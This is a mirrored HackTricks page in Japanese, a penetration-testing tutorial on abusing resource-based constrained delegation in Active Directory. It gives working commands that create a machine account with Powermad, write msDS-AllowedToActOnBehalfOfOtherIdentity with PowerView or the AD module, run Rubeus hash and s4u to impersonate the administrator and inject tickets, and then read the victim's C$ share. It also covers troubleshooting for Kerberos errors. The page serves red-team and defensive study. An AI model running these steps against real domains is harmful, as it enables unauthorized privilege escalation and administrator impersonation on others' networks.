Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

13 KiB
Raw Blame History

リソースベースの制約付き委任

htARTE（HackTricks AWS Red Team Expert）を使用して、ゼロからヒーローまでAWSハッキングを学ぶ！

HackTricks をサポートする他の方法:

{% embed url="https://websec.nl/" %}

リソースベースの制約付き委任の基礎

これは基本的な制約付き委任に似ていますが、オブジェクトに対して任意のユーザーを偽装する権限を与える代わりに、リソースベースの制約付き委任はオブジェクトに対して任意のユーザーを偽装できるユーザーを設定します。

この場合、制約付きオブジェクトには、msDS-AllowedToActOnBehalfOfOtherIdentity という属性があり、それに対して他のユーザーを偽装できるユーザーの名前が設定されます。

この制約付き委任と他の委任との重要な違いの1つは、マシンアカウントに対する書き込み権限（GenericAll/GenericWrite/WriteDacl/WritePropertyなど）を持つ任意のユーザーが、msDS-AllowedToActOnBehalfOfOtherIdentityを設定できることです（他の形式の委任では、ドメイン管理者権限が必要でした）。

新しい概念

制約付き委任では、ユーザーの_userAccountControl_値の中の**TrustedToAuthForDelegationフラグがS4U2Selfを実行するために必要であると言われていました。しかし、それは完全な真実ではありません。
実際には、サービス（SPNを持っている）であれば、その値がなくても、任意のユーザーに対してS4U2Selfを実行できますが、TrustedToAuthForDelegationがあると、返されるTGSはForwardableになり、そのフラグがない場合は、返されるTGSはForwardable**になりません。

ただし、S4U2Proxyで使用されるTGSがForwardableでない場合、基本的な制約付き委任を悪用しようとしても機能しません。しかし、リソースベースの制約付き委任を悪用しようとしている場合は機能します（これは脆弱性ではなく、明らかに機能です）。

攻撃構造

コンピュータアカウントに書き込みに相当する権限がある場合、そのマシンで特権アクセスを取得できます。

攻撃者がすでに被害者コンピュータに対して書き込みに相当する権限を持っていると仮定します。

  1. 攻撃者は、SPNを持つアカウントを侵害または作成します（“Service A”）。特別な特権を持たない_管理者ユーザー_でも、最大で10のコンピュータオブジェクト（MachineAccountQuota）を作成し、それにSPNを設定できます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定できます。
  2. 攻撃者は、被害者コンピュータ（ServiceB）に対するリソースベースの制約付き委任を構成するために、被害者コンピュータ（ServiceB）上のWRITE権限を悪用します。これにより、ServiceAがその被害者コンピュータ（ServiceB）に対して任意のユーザーを偽装できるようになります。
  3. 攻撃者は、Rubeusを使用して、特権アクセスを持つユーザーに対して、Service AからService Bへの完全なS4U攻撃（S4U2SelfおよびS4U2Proxy）を実行します。
  4. S4U2Self（侵害/作成されたSPNアカウントから）：管理者から私へのTGSを要求します（Forwardableではない）。
  5. S4U2Proxy：前述のForwardableでないTGSを使用して、管理者から被害者ホストへのTGSを要求します。
  6. ForwardableでないTGSを使用していても、リソースベースの制約付き委任を悪用しているため、機能します。
  7. 攻撃者はチケットを渡すことができ、ユーザーを偽装して被害者のServiceBにアクセスできます。

ドメインのMachineAccountQuotaを確認するには、次のコマンドを使用できます：

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

攻撃

コンピュータオブジェクトの作成

ドメイン内でコンピュータオブジェクトを作成することができます。powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Constrained Delegationの設定

activedirectory PowerShellモジュールを使用

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

PowerViewを使用する

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

完全なS4U攻撃の実行

まず第一に、パスワード123456を持つ新しいコンピュータオブジェクトを作成したので、そのパスワードのハッシュが必要です：

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

これにより、そのアカウントのRC4ハッシュとAESハッシュが表示されます。
攻撃を実行できるようになります：

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

次のようにして、Rubeusの/altserviceパラメータを使用して、一度のリクエストで複数のチケットを生成することができます:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} ユーザーには "委任できない" という属性があります。ユーザーがこの属性をTrueにしている場合、彼をなりすますことはできません。このプロパティはBloodHound内で確認できます。 {% endhint %}

アクセス

最後のコマンドラインは、完全なS4U攻撃を実行し、Administratorから被害者ホストへのTGSをメモリに注入します。
この例では、AdministratorからCIFSサービスのTGSが要求されたため、**C$**にアクセスできるようになります。

ls \\victim.domain.local\C$

異なるサービスチケットの悪用

ここで利用可能なサービスチケットについて学ぶ。

Kerberos エラー

  • KDC_ERR_ETYPE_NOTSUPP: これは、Kerberos が DES または RC4 を使用しないように構成されており、あなたが単に RC4 ハッシュを提供していることを意味します。Rubeus には、少なくとも AES256 ハッシュを提供してください（または rc4、aes128、aes256 ハッシュを提供してください）。例: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: これは、現在のコンピュータの時刻が DC の時刻と異なり、Kerberos が正常に機能していないことを意味します。
  • preauth_failed: これは、指定されたユーザー名 + ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザー名に "" を入れ忘れている可能性があります（`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`）
  • KDC_ERR_BADOPTION: これは次のことを意味する可能性があります:
    • あなたが詐称しようとしているユーザーが望ましいサービスにアクセスできない（詐称できないか、権限が不十分なため）
    • 要求されたサービスが存在しない（WinRM のチケットを要求しているが、WinRM が実行されていない場合）
    • 作成された偽のコンピュータが脆弱なサーバー上で権限を失い、それらを戻す必要がある

参考文献

{% embed url="https://websec.nl/" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricks をサポートする他の方法: